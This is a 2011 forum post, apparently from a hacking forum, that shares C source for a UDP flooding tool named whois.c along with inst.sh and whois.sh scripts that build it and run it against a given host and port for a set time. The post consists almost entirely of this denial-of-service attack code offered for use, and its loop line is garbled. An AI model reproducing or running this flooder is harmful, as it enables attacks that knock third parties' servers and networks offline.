PuRiCeL Posted March 22, 2011 Report Posted March 22, 2011 whois.c contine :#define BOMB_STRING "0123456789"#define BOMB_SIZE 10#include <stdio.h>#include <sys/param.h>#include <sys/socket.h>#include <netinet/in.h>#include <netdb.h>#include <stdarg.h>int echo_connect(char *, short);int echo_connect(char *server, short port){ struct sockaddr_in sin; struct hostent *hp; int thesock; printf("Bombing %s, port %d\n", server, port); hp = gethostbyname(server); if (hp==NULL) { printf("Unknown host: %s\n",server); exit(0); } bzero((char*) &sin, sizeof(sin)); bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length); sin.sin_family = hp->h_addrtype; sin.sin_port = htons(port); thesock = socket(AF_INET, SOCK_DGRAM, 0); connect(thesock,(struct sockaddr *) &sin, sizeof(sin)); return thesock;}main(int argc, char **argv){ int s; if(argc != 3) { printf("Syntax: bmb host port\n"); printf("Port can be any port, any of them work equally well\n"); exit(0); } s=echo_connect(argv[1], atoi(argv[2])); for( { send(s, BOMB_STRING, BOMB_SIZE, 0); }}inst.sh contine:make httpd ;make whois ;whois.sh contine:./whois $1 $2 &sleep $3killall -9 whois &./inst.sh ; ./whois.sh host port time Quote